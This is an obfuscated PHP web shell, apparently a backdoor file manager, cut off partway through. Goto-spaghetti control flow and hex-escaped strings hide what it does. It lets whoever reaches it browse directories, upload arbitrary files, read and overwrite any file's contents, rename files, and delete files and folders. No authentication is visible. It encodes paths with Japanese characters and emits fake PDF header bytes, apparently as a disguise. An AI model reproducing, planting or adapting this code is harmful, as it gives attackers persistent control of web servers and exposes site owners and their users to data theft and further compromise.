Eq3EU: UkaQN: goto WxWBY; N0z2J: goto pP1AK; goto dP8zQ; vdpJN: if (!is_file($wPUby)) { goto q3a0z; } goto Y6_wb; oLzLN: tHEMQ: goto d8AST; s_Btz: SIbno: goto hwFpT; JfqQX: RwafC: goto RtQhV; P_VvV: goto raUZM; goto lUX5s; IkNIo: q3a0z: goto iEv8f; HxbEf: goto vm6Hd; goto sgdr0; WxWBY: raUZM: goto XFSJH; hwFpT: M31ET: goto v0MD9; d8AST: goto vm6Hd; goto OcZPe; w6KYk: r7mRz: goto i9zkl; XFSJH: goto ORN3Z; goto W456D; Kqvk8: goto bSrLw; goto XMHt3; OcZPe: goto UkaQN; goto s_Btz; v0MD9: goto r7mRz; goto w6KYk; ydyHG: M4bSw: goto nmw6n; lUX5s: Zi5qI: goto N0z2J; O4QuS: goto Wlxhf; goto oLzLN; P8MCS: c906w: goto bsygO; TJ70e: goto Q_PpS; goto nouO4; whGHM: goto RwafC; goto JfqQX; EZHYI: G92Uo: goto SXTfX; nmw6n: bSrLw: goto whGHM; iEv8f: goto tHEMQ; goto gdjwT; IGBVu: Q_PpS: goto GHsTl; bsygO: Ws9ZQ: goto GWSlI; W456D: xz3h1: goto R9hnK; re0DN: if ($icZz0 == "\x2e" || $icZz0 == "\56\x2e") { goto v1_Mm; } goto Kqvk8; sgdr0: goto SIbno; goto dVEoE; i9zkl: array_push($Vq7jy, $icZz0); goto ZKckS; gdjwT: gM_G9: goto TJ70e; t6Ax4: goto eCvaW; goto Eq3EU; SpDVF: goto gM_G9; goto JpKje; XM8il: goto xz3h1; goto EZHYI; L41yY: array_push($IHsCP, $icZz0); goto t6Ax4; GHsTl: goto c906w; goto P8MCS; Y6_wb: goto M31ET; goto IkNIo; nouO4: goto M4bSw; goto JMaYH; dVEoE: ORN3Z: goto L41yY; dP8zQ: Wlxhf: goto IGBVu; GWSlI: } goto DfgDe; oOBLC: d7L5q: goto xW04e; M9fLH: gTBBG: goto W9Xqs; hAPRg: goto FbEVF; goto OiOVL; VScMe: echo "\74\x73\143\162\x69\160\164\x3e\x61\154\x65\x72\x74\x28\47\123\x61\166\x65\144\x2e\47\x29\73\x20\x77\151\x6e\144\157\x77\x2e\x6c\x6f\143\x61\x74\x69\x6f\156\56\162\145\x70\154\141\x63\x65\50\x27\77\160\75" . fvvCh(BiAk2) . "\47\51\x3b\x3c\57\x73\x63\162\x69\160\164\x3e"; goto IWu3l; L1sBE: $B2eoY = $_POST["\x64\141\x74\x61"]; goto gQ9pE; eWDTY: P2r97: goto PsYed; CUU2u: TXZYw: goto rGIxF; a77uR: goto DcMlt; goto s1Ah5; aZ06O: lBP2Y: goto nPiM0; MvEFB: echo "\40\40\x3c\57\164\142\157\144\x79\76\xa\74\57\x74\141\142\x6c\x65\x3e"; goto Aw6AG; orjkQ: bzcsW: goto ZKBjs; mylan: qYJdO: goto Hx4RL; wmf9S: PHrPD: goto ZrCV1; hQGKj: $idYE7 = fopen($dLzHr, "\167"); goto hAPRg; sl73k: $RqUEp = $NXKaz; goto OWd7L; pX2Xe: VCkMf: goto U8hgQ; o8yd7: Z79bT: goto MXw0K; DQcNV: y2jhu: goto XKtLO; xBeVO: goto rXJoI; goto Vq5MX; IA3U6: X_9OE: goto huEX2; wYw3z: echo "\12\40\40\40\x20\x3c\146\x6f\x72\155\x20\x6d\145\x74\x68\x6f\x64\75\42\160\x6f\163\164\42\40\x65\156\143\164\x79\x70\x65\75\x22\x6d\x75\x6c\164\x69\160\141\x72\164\57\146\x6f\x72\155\55\144\x61\x74\x61\x22\76\xa\x20\40\40\x20\x20\40\40\x20\123\145\154\x65\143\x74\40\x66\151\154\x65\x20\164\x6f\x20\x75\160\154\x6f\141\x64\72\12\40\40\40\40\40\x20\40\x20\74\151\x6e\160\165\164\40\x74\x79\160\145\x3d\x22\146\151\154\x65\42\40\x6e\141\x6d\x65\x3d\42\x66\151\x6c\x65\x54\157\125\x70\154\157\141\x64\42\x20\151\144\75\42\146\151\154\145\x54\x6f\x55\x70\154\x6f\x61\144\42\76\12\40\40\x20\40\x20\x20\x20\40\74\x69\x6e\x70\165\x74\x20\x74\171\160\145\75\x22\x73\x75\x62\155\151\x74\42\x20\x63\154\141\163\x73\75\42\142\x74\156\40\x62\164\156\55\144\141\162\153\x22\x20\166\141\x6c\x75\x65\75\42\x55\x70\154\157\141\x64\42\x20\x6e\x61\155\145\x3d\x22\165\x70\154\x6f\x61\x64\x22\76\xa\40\40\40\x20\x3c\57\x66\157\x72\x6d\x3e"; goto E8QEp; KIz0E: Yz5aS: goto oE2_C; AxAYt: $yWr_G = BiAk2 . "\x2f" . $_GET["\162"]; goto xYOvr; S5eVM: goto t05ib; goto K2pFD; qHbcX: fH4pl: goto IJQjs; ocUT4: echo "\74\x70\x3e\x53\x6f\162\162\171\54\x20\164\x68\145\x72\145\x20\167\141\163\x20\141\156\x20\145\162\162\157\162\x20\165\x70\154\x6f\141\144\151\156\147\x20\x79\x6f\165\162\40\146\151\154\x65\56\x3c\57\x70\76"; goto QgvlT; EM3g5: AIZkd: goto gKAX5; DLIad: o4kdf: goto vmeR3; N8IWs: if (!unlink($yWr_G)) { goto RIZR0; } goto xaQBu; qBC2M: FRXlH: goto PPglv; zQ2iK: goto uv0GR; goto hb1ZV; yCr1v: j76Su: goto ovfCy; KbIQg: tkGZB: goto XhnRq; P0OHr: goto BvBSu; goto uAK1C; n8CHQ: vsQtH: goto FgGn_; QgvlT: goto cakjA; goto ObyqA; Zf_SU: tKfp_: goto iEobI; O3fNV: goto OkVHq; goto Z29ND; O4xH4: goto uPVNS; goto oyUvZ; GuGMV: goto ce00T; goto LgCY8; gowy_: goto z_NGP; goto fk61e; xQe0g: goto vw8BM; goto xczmT; awhqX: goto bb8YR; goto NcCDN; C2b_z: if (!is_dir(RF42g($_GET["\x71"]))) { goto ML8Zo; } goto uYBKB; zbnpp: goto CK1lm; goto qacyQ; lcjJn: echo "\x3c\x73\x63\162\151\160\164\x3e\141\x6c\145\x72\x74\x28\47\x52\145\x6e\141\x6d\145\x64\x2e\x27\51\73\40\x77\x69\x6e\144\x6f\167\56\154\x6f\143\141\x74\x69\x6f\156\x2e\x72\145\160\154\x61\143\145\x28\47\77\160\x3d" . FVvcH(BiAk2) . "\47\x29\73\x3c\x2f\163\x63\x72\x69\160\x74\76"; goto TGh8N; dr1SH: rej3V: goto Jxk1d; vmeR3: goto XVyso; goto FBcGW; E7pQR: goto lWD4Q; goto fBNNX; jxOmx: goto jeTL8; goto rT0XR; KuNOr: goto QvHkT; goto QZlDF; tnFk7: Be7Zz: goto lcjJn; OZo21: Ii7i1: goto WGIdw; E_JBL: goto ICEaW; goto juoJM; XhwR4: $grIsD = str_replace("\x5c", "\57", BiAk2); goto zQ2iK; HEWQY: FJgTU: goto pJCwc; PjTyP: nO5XD: goto RIZ5X; O6Lcd: goto e7JaM; goto ajx2P; yBsqQ: ZdCLC: goto pfWDZ; gQ9pE: goto Xe6N7; goto EnjTA; jFl4Q: goto SpNEI; goto ofAbE; zJfUX: e3QMD: goto knQ8U; HMuii: goto XZQG5; goto zkI2l; XRfWb: illyg: goto dD0am; NcCDN: goto tkGZB; goto kRION; bmSFA: pkTKS: goto OZo21; E_geL: ooTyp: goto kq34l; Zorus: function a6qmd($l2_8b) { goto UuWla; Avs2y: goto Qlr_Y; goto eQnzW; BLslA: $l2_8b = number_format($l2_8b / 1048576, 2) . "\40\115\x42"; goto at9lp; vaSmh: JNqNc: goto qGJGa; fKE5j: goto cN_w7; goto x2003; y1wiZ: goto sryuQ; goto HwvYo; igta4: s7CpZ: goto k1fjP; o1BdG: goto dzdLJ; goto h8zhQ; fup2W: fANN6: goto BLslA; iehcX: goto pQsgE; goto bCjo_; iJxiM: goto BLTv1; goto ctd4q; qGJGa: AumCl: goto Avs2y; Ll6e5: return $l2_8b; goto o1BdG; A029R: $l2_8b = number_format($l2_8b / 1024, 2) . "\40\x4b\102"; goto WnHX9; eQnzW: IzOmc: goto sZyiY; h8zhQ: Iuulg: goto s1CZB; x2003: pQsgE: goto jw9TI; Iq7YL: dzdLJ: goto yg_WC; fxSuC: goto JNqNc; goto vaSmh; AEu4L: ueyr1: goto S2R1U; sGAj1: goto fANN6; goto VEzGF; kOFeU: ZN9nZ: goto nGDp4; HQtUX: $l2_8b = $l2_8b . "\x20\x62\x79\x74\145"; goto fxSuC; k1fjP: goto CbIX6; goto fTcT2; F2M2O: goto IzOmc; goto Iq7YL; qWTR0: vLZmz: goto SIrOY; qBw0r: goto sirEC; goto EpCbN; UuWla: goto W1nhJ; goto HTu46; gnvpv: goto ueyr1; goto A7qpT; FKKvh: if (!($l2_8b == 1)) { goto ZN9nZ; } goto twTS7; Gj_Pk: if (!($l2_8b >= 1073741824)) { goto u1CXe; } goto j11c2; eBPaU: tymuT: goto Hol1b; qSkAM: goto AumCl; goto zUVnK; at9lp: goto vP8lD; goto gFkXP; ed9OS: u1CXe: goto YYWl1; iJcN9: if (!($l2_8b > 1)) { goto BTWQ1; } goto y1wiZ; A7qpT: vP8lD: goto hEcHx; bfg9X: $l2_8b = number_format($l2_8b / 1073741824, 2) . "\x20\x47\102"; goto HvDza; bCjo_: CbIX6: goto bLm6n; jFyNt: BLTv1: goto K0Qhy; EZS89: Qlr_Y: goto Ll6e5; twTS7: goto bg3Xh; goto kOFeU; gFkXP: ZMafw: goto tKAzX; EpCbN: W1nhJ: goto Gj_Pk; VEzGF: cTDJR: goto FKKvh; bA46e: goto cTDJR; goto vFm3Y; E38WR: xSWdm: goto eajfs; nIG3x: $l2_8b = "\x30\40\142\x79\x74\145\x73"; goto ET8MG; pEs6p: goto ZMafw; goto tv8IU; K0Qhy: $l2_8b = $l2_8b . "\x20\142\171\164\x65\163"; goto pEs6p; ntCjw: goto exgAa; goto igta4; ajkqB: vP9xb: goto iJcN9; bLm6n: if (!($l2_8b >= 1024)) { goto xSWdm; } goto Y3ol2; hkhWR: goto oV90k; goto XP3Vp; zUVnK: goto Iuulg; goto ajkqB; pl6Sw: goto AumCl; goto gnvpv; tKAzX: goto AumCl; goto fKE5j; Y3ol2: goto JlGuc; goto E38WR; WnHX9: goto g5jxs; goto jFyNt; ET8MG: goto KjHaD; goto eBPaU; c_B9Z: ymEuJ: goto bfg9X; Hol1b: if (!($l2_8b >= 1048576)) { goto s7CpZ; } goto ntCjw; KIEVi: goto ymEuJ; goto AEu4L; SIrOY: goto AumCl; goto F2M2O; UgwUf: bg3Xh: goto qBw0r; vFm3Y: Yk4Ws: goto nIG3x; eajfs: goto vP9xb; goto c_B9Z; hEcHx: goto AumCl; goto iehcX; HvDza: goto vLZmz; goto qWTR0; S2R1U: sryuQ: goto iJxiM; s1CZB: eahP2: goto KIEVi; sZyiY: exgAa: goto sGAj1; XP3Vp: g5jxs: goto pl6Sw; HTu46: oV90k: goto A029R; HwvYo: BTWQ1: goto bA46e; jw9TI: JlGuc: goto hkhWR; YYWl1: goto tymuT; goto EZS89; j11c2: goto eahP2; goto ed9OS; ctd4q: sirEC: goto HQtUX; tv8IU: KjHaD: goto qSkAM; nGDp4: goto Yk4Ws; goto fup2W; fTcT2: cN_w7: goto UgwUf; yg_WC: } goto KuNOr; uCMC3: goto FmklC; goto ftyKQ; eDPtG: goto CfL6O; goto Q8sl3; s1Ah5: oGYr3: goto wF0Ja; RLVjX: goto RiYFy; goto S8umE; Ts22z: LlGvk: goto xLJyQ; j00o5: $Gb7jr = BiAk2 . "\x2f" . $_FILES["\146\151\x6c\145\x54\x6f\x55\160\x6c\x6f\x61\144"]["\156\141\x6d\x65"]; goto EMRfT; pXcVA: CSQMT: goto MhFSZ; uhiqj: F7it8: goto b0wNF; UpEtu: cOLra: goto AxAYt; IGpRs: if (!is_dir($yWr_G)) { goto cH0KW; } goto jxOmx; RIZ5X: if (is_dir(RF42g($_GET["\x70"]))) { goto QDmwy; } goto MIZdy; K2pFD: goto PHrPD; goto rbXzs; E1pIm: N5a5s: goto QqC0E; xaQBu: goto LtFKK; goto Wtqrp; IJQjs: if (!empty($_GET["\162"]) && isset($_GET["\161"])) { goto mJ9MY; } goto Q6PBB; oVa1x: vw8BM: goto pX2Xe; Ibx1e: goto AiKDK; goto n8CHQ; aqOV7: goto tKfp_; goto q87Jk; lGd_y: goto aVsEZ; goto pZjkg; pWndG: e7JaM: goto qRxsa; EMRfT: goto x3aje; goto r3JJ5; hb1ZV: uPVNS: goto rRaEx; JO7v1: wNvKn: goto N8IWs; qo8f2: if (isset($_GET["\165\160\154\157\141\144"])) { goto UcQ2I; } goto zfHzw; TGh8N: goto F7it8; goto L3O4I; jEpGY: oKdTp: goto Q32KK; NywVC: goto Bl1cL; goto inrUL; mFhd1: WxiCp: goto czs9p; CWENq: $RqUEp = RF42G($_GET["\161"]); goto aOX2u; WF9pr: if (!isset($_GET["\160"])) { goto tWYuY; } goto Jclv3; xYOvr: goto vv5Ep; goto GUlbz; ZOJBt: function FvVCh($grIsD) { goto wneEd; NDhhq: sAFn8: goto MHml7; JdV4T: nWdp0: goto oX79k; MHml7: $upo1L = array("\343\x81\x82", "\343\x82\213", "\347\xa7\x81", "\xe3\201\237"); goto wSLyM; oX79k: return str_replace($OUzcL, $upo1L, $grIsD); goto G7SyZ; wz78q: hPyba: goto Aa9rk; hoomL: goto sAFn8; goto NDhhq; wSLyM: goto nWdp0; goto wz78q; W54JU: $OUzcL = array("\x2f", "\134", "\x2e", "\x3a"); goto hoomL; wneEd: goto U05Ce; goto JdV4T; G7SyZ: goto hPyba; goto qOJ0m; qOJ0m: U05Ce: goto W54JU; Aa9rk: } goto E7pQR; Syx7s: goto gly68; goto O4xH4; VV85Q: aVsEZ: goto kj3FB; knQ8U: if (!is_file($yWr_G)) { goto IWIt0; } goto Mt0YO; t1Upu: Xe6N7: goto hQGKj; NdJIz: Z9e3k: goto qBC2M; ArJOj: gly68: goto ze817; WGIdw: goto Z9e3k; goto ixO5P; mWHS5: ML8Zo: goto O_iKY; nt3Ui: goto kzh6V; goto HBGqO; Respk: if (!rename($yWr_G, BiAk2 . "\x2f" . $_POST["\x6e\x61\x6d\145"])) { goto S1hO1; } goto oCzTL; WSELQ: awHDD: goto uj6jY; HBGqO: iWjM9: goto t4OQl; gZaeQ: mi_ER: goto jMMxl; Zy0MH: UcQ2I: goto uCMC3; Ohiyv: echo "\xa\40\x20\40\40\74\x66\x6f\162\x6d\x20\155\x65\x74\x68\157\144\x3d\42\160\157\x73\x74\42\x3e\xa\x20\x20\40\40\x20\x20\x20\x20\x3c\164\145\170\164\x61\x72\145\141\40\163\164\171\x6c\145\x3d\x22\150\x65\151\147\x68\x74\x3a\x20\65\60\60\x70\x78\73\12\40\x20\40\40\x20\x20\x20\x20\167\x69\144\164\x68\72\40\x39\x30\45\x3b\42\x20\156\x61\155\145\75\42\x64\141\x74\x61\x22\x3e" . htmlspecialchars(file_get_contents(BiAk2 . "\57" . $_GET["\x65"])) . "\74\x2f\x74\145\170\164\141\162\x65\141\76\12\40\40\40\x20\40\40\40\x20\x3c\x62\x72\x3e\12\40\40\x20\40\x20\x20\40\40\x3c\x69\156\x70\165\164\40\x74\171\x70\145\75\42\x73\165\x62\x6d\x69\x74\42\x20\143\x6c\x61\x73\163\75\x22\142\x74\x6e\40\142\x74\156\55\144\x61\x72\153\x22\40\166\x61\x6c\x75\145\75\42\123\141\x76\x65\x22\40\156\141\x6d\x65\75\42\x65\x64\x69\x74\42\x3e\xa\40\x20\x20\x20\74\57\x66\x6f\162\155\76"; goto kQZdn; JjIjt: goto t05ib; goto ihBlf; jSoKF: goto rsv9K; goto bmSFA; Jclv3: goto kmPdU; goto Vz5Kg; Q6PBB: goto PinTp; goto T6urt; kqKgb: goto oqNvT; goto Eh13M; WPAkh: goto Xk79M; goto rx2YP; XhnRq: rF6w0: goto KuX5B; JUf79: pheDb: goto pSFjS; pJ27s: $IHsCP = array(); goto nt3Ui; pSFjS: goto oCUU1; goto yCr1v; Az7Uu: Faaq7: goto ArJOj; W1DHH: goto BUsiZ; goto wmf9S; IfJPO: echo "\x3c\x73\x63\162\x69\x70\164\x3e\141\x6c\145\162\x74\50\x27\x46\x69\x6c\145\x20\x72\x65\155\x6f\x76\145\x64\x2e\x27\x29\x3b\40\167\151\156\144\157\167\56\x6c\157\143\x61\x74\x69\157\x6e\x2e\162\x65\160\154\141\x63\x65\x28\47\77\160\75" . fVvCh(BiAk2) . "\x27\x29\73\x3c\57\163\143\162\x69\x70\164\76"; goto wf15E; uVcqc: goto eCWd7; goto VkBrL; MUUf3: function rF42G($grIsD) { goto IqVTt; IqVTt: goto CTYs7; goto q9Uc4; jEufL: zpMl5: goto VvIJ9; q9Uc4: Ed1xb: goto i6JjQ; JOFUE: $OUzcL = array("\57", "\134", "\x2e", "\x3a"); goto Kaeq8; LLMeE: JE1df: goto nddYF; n6ji4: goto zpMl5; goto tA2on; i6JjQ: $upo1L = array("\343\x81\x82", "\343\202\x8b", "\347\247\x81", "\xe3\x81\x9f"); goto kp820; nddYF: return str_replace($upo1L, $OUzcL, $grIsD); goto n6ji4; kp820: goto JE1df; goto LLMeE; tA2on: CTYs7: goto JOFUE; Kaeq8: goto Ed1xb; goto jEufL; VvIJ9: } goto w5UsC; FBcGW: goto TQT5i; goto gZaeQ; Zo2nj: pP9sc: goto aZ06O; MuZUS: goto fHG5b; goto eWDTY; VIuAB: goto fWxDu; goto yBsqQ; q22Ns: echo "\74\x70\76" . htmlspecialchars(basename($_FILES["\146\151\x6c\x65\x54\157\125\160\154\x6f\141\144"]["\x6e\x61\155\145"])) . "\x20\x68\x61\x73\x20\x62\x65\145\x6e\40\x75\160\154\x6f\141\x64\x65\x64\56\74\x2f\160\76"; goto BqMBs; MhFSZ: goto Be7Zz; goto fpMBI; b4Tlv: goto rej3V; goto DQcNV; t4OQl: $dLzHr = BiAk2 . "\57" . $_GET["\145"]; goto xW7uh; d38bs: goto R82uD; goto Spx_V; Eh13M: EpziT: goto rnLGw; nsxRJ: goto vvyhr; goto qYveb; xNgJB: goto Ujux3; goto t1Upu; w5UsC: goto wPUQp; goto Ux648; Vq5MX: mV9HQ: goto LyMs7; D2pDf: SpNEI: goto Kdr1K; ZUovY: r4hK0: goto IfJPO; Qs2sL: goto uem3R; goto dr1SH; wJFvC: goto o4kdf; goto JO7v1; slx9O: goto ceNLn; goto A3nTM; rhPOw: goto UCNIU; goto KIz0E; Rk2tr: goto iWjM9; goto lRwAf; rGIxF: if (!isset($_GET["\x70"])) { goto bzcsW; } goto QLTLW; g5ueS: echo "\x3c\163\x63\162\x69\x70\164\76\141\154\x65\162\164\50\x27\123\157\x6d\x65\x20\x65\x72\162\157\x72\40\x6f\x63\x63\x75\x72\x72\x65\x64\x2e\x27\x29\73\40\x77\x69\x6e\144\x6f\167\x2e\154\157\x63\141\164\x69\157\x6e\56\162\145\160\154\x61\x63\x65\x28\x27\77\160\75" . FvVcH(BiAk2) . "\47\51\73\x3c\57\x73\x63\162\151\x70\x74\x3e"; goto jSoKF; pfWDZ: if (!(rmdir($yWr_G) == true)) { goto M5wvw; } goto nsxRJ; PEPUr: PinTp: goto ab0lu; yqln5: goto iBwom; goto WxtCl; vButR: goto EpziT; goto Yuj26; oZibh: S5inW: goto NywVC; SSNmK: UCNIU: goto j00o5; qRxsa: goto r54vC; goto EM3g5; vVuQ_: goto eCWd7; goto GWaTF; c1ckf: goto wQ0d0; goto UDyz0; d1Zjb: WRrG0: goto kO5UO; gi2kT: goto pP9sc; goto aQJTl; h1X2k: goto mV9HQ; goto X213Y; DfgDe: uQD5T: goto GuGMV; x1dT2: goto oGYr3; goto Wp1aU; w0rFO: vvyhr: goto vblhQ; XWe6F: CSeYv: goto mg7bS; FCodr: AVX8L: goto iP3SZ; Wtqrp: RIZR0: goto MuZUS; zfHzw: goto gTBBG; goto Zy0MH; N53m1: goto P2r97; goto Ts22z; ZKBjs: goto zzQBU; goto WXIIc; juoJM: GA838: goto S2c_s; ya5o5: goto Hl5e7; goto ziYAg; uAK1C: toihV: goto XLwhm; RDimB: echo "\xa\x3c\x74\x61\x62\x6c\145\40\x63\x6c\x61\163\x73\x3d\x22\164\141\x62\x6c\x65\x20\x74\x61\x62\154\x65\x2d\x68\x6f\x76\145\x72\42\76\12\40\40\74\164\150\x65\x61\144\76\12\x20\x20\x20\x20\x3c\164\162\x3e\12\x20\40\40\x20\x20\x20\74\164\x68\40\163\x63\x6f\x70\145\75\x22\143\x6f\154\42\x3e\116\141\155\x65\74\x2f\x74\150\x3e\xa\x20\40\40\x20\x20\40\74\164\x68\x20\163\x63\x6f\x70\x65\x3d\42\143\157\x6c\x22\x3e\123\x69\x7a\x65\74\57\x74\x68\x3e\12\40\x20\x20\40\40\x20\x3c\164\150\x20\163\x63\x6f\x70\x65\x3d\x22\x63\x6f\154\x22\x3e\115\x6f\144\x69\146\x69\145\144\x3c\x2f\164\150\76\12\x20\x20\40\40\40\40\74\164\x68\40\163\143\157\160\x65\75\42\x63\157\x6c\42\x3e\120\145\x72\x6d\163\74\x2f\164\x68\76\xa\40\40\x20\x20\x20\40\74\x74\x68\40\163\143\x6f\x70\145\x3d\42\x63\x6f\x6c\x22\76\101\x63\164\x69\x6f\156\163\x3c\x2f\x74\150\76\xa\x20\40\40\40\74\57\x74\162\76\xa\x20\x20\74\57\x74\x68\x65\141\144\x3e\xa\40\40\74\x74\142\x6f\x64\x79\x3e\xa"; goto N53m1; Qjy_g: goto bb8YR; goto h1X2k; VkBrL: goto SVDac; goto CUU2u; IpJPA: goto PS8QR; goto Eh8we; Eb1eM: goto oKdTp; goto vSfS9; k1oyt: echo "\74\x73\x63\162\151\160\x74\x3e\x61\x6c\145\162\164\x28\x27\x53\157\155\145\x20\x65\x72\162\x6f\162\40\157\x63\x63\165\162\162\145\x64\56\x27\x29\73\40\x77\x69\x6e\144\x6f\x77\56\x6c\x6f\143\141\x74\151\x6f\x6e\x2e\162\145\160\154\141\143\145\50\x27\77\x70\x3d" . FVvch(BiAk2) . "\47\x29\x3b\x3c\x2f\x73\x63\x72\x69\160\x74\x3e"; goto wJFvC; AohB4: uem3R: goto PEPUr; eLs1O: dd9OH: goto Fe1RG; rxqvg: sQOJ_: goto VV85Q; L1tya: if (isset($_GET["\162"])) { goto s0TTf; } goto lGd_y; FZmkp: sKJH5: goto bO8ZQ; GWaTF: goto ncojG; goto nPSTC; zkI2l: Vl7lX: goto xIjzk; oCzTL: goto CSQMT; goto GTSJ1; Gaoo4: qbrLn: goto XRfWb; S5OzX: rlhsE: goto e3e87; rbXzs: Bl1cL: goto MB3c0; Bpnt2: YMeYU: goto eDPtG; Vz5Kg: tWYuY: goto ya5o5; t9D8K: goto FRXlH; goto JYPhg; oH_vo: goto e3QMD; goto mFhd1; czs9p: foreach ($RGptr as $zvEYl => $TMShe) { goto esfcY; R0lIR: K1JvY: goto PUc0V; pnUgB: goto K1JvY; goto vjase; Zb2eP: if ($VoQFa != $zvEYl) { goto DQzV8; } goto AsN29; h1sNF: k7S2J: goto Zb2eP; U9IGE: pjWa7: goto sNhrf; sW_qK: hpmSQ: goto QVNEm; ednvK: goto MB1c3; goto sW_qK; a8asL: F9ALC: goto zWZLB; PUc0V: goto pjWa7; goto L1uyP; F10xU: goto ioL5s; goto A6Cj0; wmmLu: if ($TMShe == '' && $zvEYl == 0) { goto is434; } goto e2bXT; K8T1X: goto bZueJ; goto HTWId; e2bXT: goto xPhER; goto Chb_O; ksoth: IpGXo: goto g3b0L; CjiEb: nNJE0: goto K8T1X; vSRpB: bZueJ: goto elAS3; elAS3: if ($VoQFa <= $zvEYl) { goto TiFUr; } goto aFHzg; K2hpM: cHMNr: goto f7b4r; yMbOO: goto GVxdh; goto DAkeu; cWVoI: FN9O2: goto I8Gl2; HRV5d: goto ft2wq; goto Dt953; gpwv_: goto u95kB; goto tM_2h; pq71k: goto IpGXo; goto K2hpM; esfcY: goto jRuSk; goto bblGQ; TlfLN: DQzV8: goto yMbOO; QVNEm: echo "\47\x3e" . $TMShe . "\74\x2f\x61\x3e\x2f"; goto F10xU; I8Gl2: echo str_replace("\72", "\xe3\201\x9f", $RGptr[$VoQFa]); goto uxT2O; BLfoJ: goto lwFeY; goto h1sNF; founY: xPhER: goto kXM3B; PXIHe: $VoQFa++; goto ednvK; Dt953: goto yTeyK; goto Ouceu; rPgvs: ioL5s: goto YFSBm; f7b4r: $OUzcL = true; goto BLfoJ; RSmAf: MB1c3: goto jdMhh; HTWId: GVxdh: goto Wb2Du; jdMhh: goto nNJE0; goto oZbo1; VERjZ: TZosk: goto EJF5P; n0cE4: echo "\74\x61\40\x68\x72\145\146\75\42\77\160\x3d\x2f\42\76\57\x3c\57\x61\76"; goto FIVkk; YFSBm: ft2wq: goto eguOG; AMioi: $VoQFa = 0; goto UzDWS; Y8178: fpHF0: goto mnXAH; Chb_O: is434: goto RFUuI; Wb2Du: echo "\343\x81\x82"; goto fta7W; RP056: lwFeY: goto n0cE4; nZ_jt: goto FN9O2; goto cWVoI; uxT2O: goto k7S2J; goto ksoth; fta7W: goto YXgQR; goto vSRpB; oqtme: JIWk4: goto VERjZ; qhHPK: goto l7aEW; goto NoCs3; A6Cj0: or8wJ: goto CjiEb; AsN29: goto yyTAm; goto TlfLN; UzDWS: goto or8wJ; goto a8asL; Q1WsZ: goto HqceJ; goto rPgvs; aFHzg: goto fpHF0; goto BckX4; g3b0L: wPxAj: goto Q1WsZ; kXM3B: goto F9ALC; goto A9M74; oZbo1: goto pU7d3; goto RP056; mnXAH: goto hpmSQ; goto U9IGE; EymsJ: goto eXEr3; goto RSmAf; Y2aqB: goto ft2wq; goto EymsJ; BckX4: TiFUr: goto nZ_jt; vNbZT: pU7d3: goto Y8178; eikTC: eXEr3: goto R0lIR; Ouceu: l7aEW: goto Y2aqB; sNhrf: echo "\74\141\x20\x68\162\x65\146\x3d\47\x3f\160\x3d"; goto gpwv_; RFUuI: goto cHMNr; goto oqtme; bblGQ: YXgQR: goto pU3Qy; vjase: tfiIw: goto qhHPK; A9M74: u95kB: goto AMioi; NoCs3: jRuSk: goto wmmLu; L1uyP: w4jXz: goto HRV5d; pU3Qy: yyTAm: goto pq71k; tM_2h: yTeyK: goto founY; FIVkk: goto w4jXz; goto vNbZT; zWZLB: if ($TMShe == '') { goto tfiIw; } goto pnUgB; DAkeu: HqceJ: goto PXIHe; eguOG: goto JIWk4; goto eikTC; EJF5P: } goto MSc2F; xczmT: vv5Ep: goto Respk; xw5DR: goto OEUhw; goto qHbcX; Fmj3t: goto uJ9DO; goto Zo2nj; uAi2u: goto Z2xlj; goto KxnnS; r8w4c: echo "\x25\120\104\106\55\x31\56\x33\xa\45\46\43\61\x39\x35\x3b\46\43\x31\x36\62\73\x26\x23\61\x39\x35\73\46\x23\x31\66\x33\x3b\46\x23\x31\71\65\73\x26\43\x31\x34\63\x3b\46\x23\61\71\65\73\xe2\200\273\xa\x31\40\x30\x20\x6f\x62\x6a\x3c\x3c\57\x54\x79\160\x65\x2f\x43\x61\x74\141\154\157\x67\x2f\x50\x61\147\145\x4d\157\x64\145\57\x55\163\145\117\165\x74\x6c\x69\x6e\x65\163\57\x50\141\147\145\163\x20\x33\x20\60\40\x52\76\76\xa\145\x6e\x64\x6f\x62\x6a\xa\62\40\x30\x20\157\x62\152\x3c\x3c\57\103\162\145\x61\x74\151\x6f\x6e\x44\141\164\x65\x28\104\x3a\62\x30\61\70\61\x30\x32\x34\61\x36\65\x32\63\71\x2b\60\x37\x27\x30\60\x27\51\x2f\x50\x72\x6f\144\165\x63\x65\x72\50\x50\157\x44\x6f\x46\157\40\55\x20\x68\x74\164\160\x3a\x2f\x2f\160\157\x64\x6f\x66\157\x2e\x73\146\x2e\x6e\145\x74\51\x3e\76\xa\145\x6e\x64\x6f\142\152\12\x33\x20\x30\40\x6f\142\152\74\74\57\x54\x79\160\145\57\x50\141\147\x65\x73\57\103\x6f\165\x6e\164\40\61\66\x33\x2f\113\151\144\x73\x5b\x20\62\x34\x37\70\x30\40\61\40\122\40\x32\x34\x37\x38\x35\40\60\40\x52\40\62\x34\x37\70\70\40\x30\x20\x52\x20\x32\x34\67\71\61\x20\x30\x20\122\x20\x32\64\67\71\x34\x20\x30\x20\x52\x20\x32\64\x37\71\x37\x20\x30\40\x52\x20\62\x34\70\60\x30\40\60\40\122\x20\x32\x34\70\x30\63\x20\60\40\x52\40\x32\x34\70\60\x36\x20\x30\40\x52\40\62\x34\x38\60\x39\x20\x30\40\122\40\x32\64\70\x31\x32\x20\60\x20\122\x20\62\64\x38\61\65\40\x30\40\122\x20\62\x34\x38\61\x38\x20\60\x20\122\x20\62\x34\70\62\61\x20\60\x20\x52\40\x32\x34\x38\62\x34\40\60\40\x52\x20\62\64\x38\62\x37\x20\60\40\122\40\x32\64\x38\x33\60\x20\60\x20\x52\40\x32\64\x38\63\x33\x20\x30\x20\122\x20\x32\x34\x38\x33\x36\40\x30\40\x52\x20\62\64\x38\x33\x39\40\60\40\122\x20\62\x34\x38\64\62\40\x30\40\122\x20\62\x34\x38\64\65\40\60\x20\122\x20\x32\64\x38\x34\70\x20\x30\x20\x52\x20\62\x34\70\x35\61\x20\x30\40\x52\x20\x32\64\70\65\x34\x20\60\x20\x52\x20\62\x34\x38\x35\67\40\x30\40\122\40\62\x34\x38\66\x30\x20\x30\x20\x52\40\62\x34\70\x36\x33\x20\x30\40\x52\40\x32\x34\70\66\x36\x20\x30\x20\122\40\62\64\70\66\x39\x20\x30\40\122\40\x32\x34\x38\x37\x32\x20\60\40\x52\x20\62\64\70\67\x35\40\60\40\122\x20\x32\64\x38\x37\x38\x20\x30\40\x52\x20\x32\64\x38\70\61\40\60\40\x52\x20\x32\64\70\70\64\40\x30\40\x52\x2